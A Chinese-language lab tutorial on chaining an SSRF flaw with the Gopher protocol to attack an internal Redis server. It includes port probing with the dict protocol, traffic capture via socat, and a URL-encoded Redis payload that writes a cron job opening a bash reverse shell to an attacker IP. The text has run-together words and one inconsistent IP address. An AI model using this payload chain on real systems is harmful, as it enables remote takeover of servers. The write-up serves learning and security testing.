Gopher协议Gopher协议是一种用于在Internet协议网络中分发、搜索和检索文档的通信协议。Gopher协议和用户界面的设计是菜单驱动的,并在早期提出了万维网的替代方案,但最终失宠并让位于HTTP。Gopher生态系统通常被认为是万维网的有效先驱。Gopher协议的格式在发起POST请求时,需要使用%0d%0a来代替回车换行,并在末尾添加%0d%0a参数之间的&。URL编码参数需要以_开头,否则首字符为EnvironmentthatsupportsGopherprotocolPHP--write-curlwrappersPHP版本至少5.3Java小于JDK1.7Curl低版本不支持Perl支持ASP.NETlessthanversion3WhyuseGopherprotocol在思考这个问题的时候可以看到这样一个回答:Gopher协议支持发送GET和POST请求:可以先拦截get请求包和post请求包,然后形成一个符合地鼠协议。Gopher协议是SSRF利用中最强大的协议。这个答案有问题吗?没问题。看完这个答案,你知道为什么要使用Gopher了吗?好像还是不太清楚:用它是因为它很强大?那为什么不能用http之类的呢,毕竟Gopher毕竟是淘汰了的协议。为什么我们必须使用这个协议?这方面似乎没有答案。到底为什么要用Gopher,我可以用一句话概括:它支持多种协议,灵活,也可以说是没有固定的格式可循(这里所谓的格式是指格式数据包,必须在HTTP数据包中携带which参数)。我们做这样一个实验,在虚拟机上通过nc监听3333端口,然后分别通过http协议和gopher协议访问这个端口:http://172.16.12.155:3333/abc那么这个时候peer收到的是什么(werequestthroughcurl)是跟HTTP的请求包格式:可以说比如UA可以完全省略,但是GET的请求头一定要带!gopher://172.16.12.155:3333/_abc(遵循gopher的格式)。让我们看看使用gopher协议接收到的数据,没有任何额外的数据。我们看一下抓包,可以清楚的看到除了前4层的数据和abc之外,没有额外的数据。为什么SSRF经常配合Gopher协议?下面以Redis生成的SSRF为例(后面会详细介绍)。由于Gopher传输的数据没有任何附加数据,所以这个好处是非常明显的。当我们请求6379端口时,除了我们构造的redis格式的数据之外,不会有Redis无法识别的额外数据,从而保证Redis能够成功执行我们构造的语句。显然,HTTP无法做到这一点。所以这也提醒了我们,除了用来攻击内网Redis服务器的Gopher协议外,还有FTP等服务器也可以尝试,推而广之,Gopher协议甚至可以用来写一句话.实验使用SSRF结合Gopher协议对内网Redis服务器进行攻击。分析实验目的我们最终的实验目的是获取目标Redis主机的Shell。要完成这个目标,需要多个Redis语句来配合。当然,我们可以通过Gopher协议将它们一一传递,但是这样会很复杂。比较麻烦,所以我们决定现在在本地搭建相同版本的Redis服务器,抓包得到Redis格式报文,最后直接拼接成Gopher语句传给被攻击服务器,完成攻击.版本信息redis-stack-server-6.2.4-v2.rhel8.x86_64新版Redis服务器增加了防御机制。如果失败,则使用所需的工具redis-cli连接到Redis服务器。服务器未联网(或者其防火墙限制只能访问内网主机),所以我们只能通过内外网边界存在SSRF漏洞的主机访问Redis服务器。由于我们是在实验环境中,所以我们给主机添加了防火墙策略,防止访问“内网”受限主机以外的主机,形成简单的内外隔离。虽然此时我们在同一个网段,但是我们在Redis服务器上添加了如下策略:firewall-cmd--add-rich-rule='rulefamily=ipv4sourceaddress=172.16.12.151portport=6379protocol=tcpaccept'这样就禁止了访问172.16.12.151服务器以外的服务器的请求,这样就形成了我们简单内网的概念。实验步骤检测目标主机首先,我们需要检测这个存在SSRF漏洞的主机,首先看它的URL的组成:http://172.16.12.151:89/ssrf.php?url=通过拼接www.baidu.com发现可以正常访问百度,于是怀疑这里存在SSRF漏洞,然后尝试是否可以访问内网主机。为了检测主机的哪些端口是开放的,我们尝试使用Burp通过不断改变端口值来进行简单的检测。.12.136:80没有任何回显,所以为了准确验证我们访问的端口是否开放,我们决定使用dict协议。dict协议也称为在线网络词典协议。通过dict协议可以远程访问指定的TCP端口,在目标端口打开时会返回该端口提供的服务的一些组件信息(会显示服务信息,但会报错)。接下来,使用Burp的Intruder模块验证一些基本的端口服务是否打开。可以看到目标主机的6379``22端口是开放的。有了这些信息,我们就可以开始利用这个漏洞了。在本地抓取攻击流量由于对端是6379端口,也就是redis服务的端口,所以我们向这个端口传输的数据必须是redis指定的格式。这时候我们可以搜索redis消息格式的文档结构其message,但是那样太麻烦了,所以我们直接在本地的另外一个服务器上搭建一个redis服务**,在本地连接到这个redis服务器,发送它是攻击时要发送的redis命令,以获取流量包,最终可以用Gopher协议传输。我们可以成功访问到我们自己搭建的redis服务器。我们搭建的redis服务器IP:172.16.12.155接下来为了在本地KALI机器上准确获取redis流量包,我们使用socat代理转发流量socat-vtcp-listen:6379,forktcp-connect:172.16.12.155:6379就完成了。接下来,我们只需要redis-cli-hlocalhost,就可以让连接172.16.12.155:6379的流量通过本地代理。反弹shell我们的最终目的是反弹一个目标主机的shell到我们本地,我们可以在目标主机的cron中写入如下语句加入定时任务,并定时反转主机bash-i>&/dev/tcp/172.16.12.150/33330>&1为了完成这个目的,我们需要做两个准备工作:1.在本地开启监听端口33332。利用上面搭建的本地redis环境,抓取攻击所需的redis命令流量,通过Gopher协议发送给存在SSRF漏洞的主机,从而渗透到我们要反壳的内网主机。为了在目标主机的cron中写入定时任务,需要如下redis命令:flushall#setkey-valuepairkey-valuesetdeu"bash-i>&/dev/tcp/172.16.12.150/33330>&1"#设置工作目录configsetdir/var/spool/cron#设置保存文件名configsetdbfilenameroot#保存,将缓冲区内容写入根文件save,然后进入socat界面,我们已经获取到了redis的数据包流量。由于Gopher、URL编码等一些格式限制,我们需要对上面的消息进行一定的处理,最终将其转化为:*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash-i>&/dev/tcp/176.12.16.150/33330>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A可以使用python脚本实现。*去掉><后的一些时间长度等描述信息。*如果该行只有\r,将\r替换为%0a%0d%0a,否则,将\r替换为%0d%0a*?转码为URL编码%3f*去掉最后一个换行符\n*判断是否为空行,将空行替换为%0a。流量被抓取后,我们可以直接通过URL发送给带有SSRF的主机。反弹成功
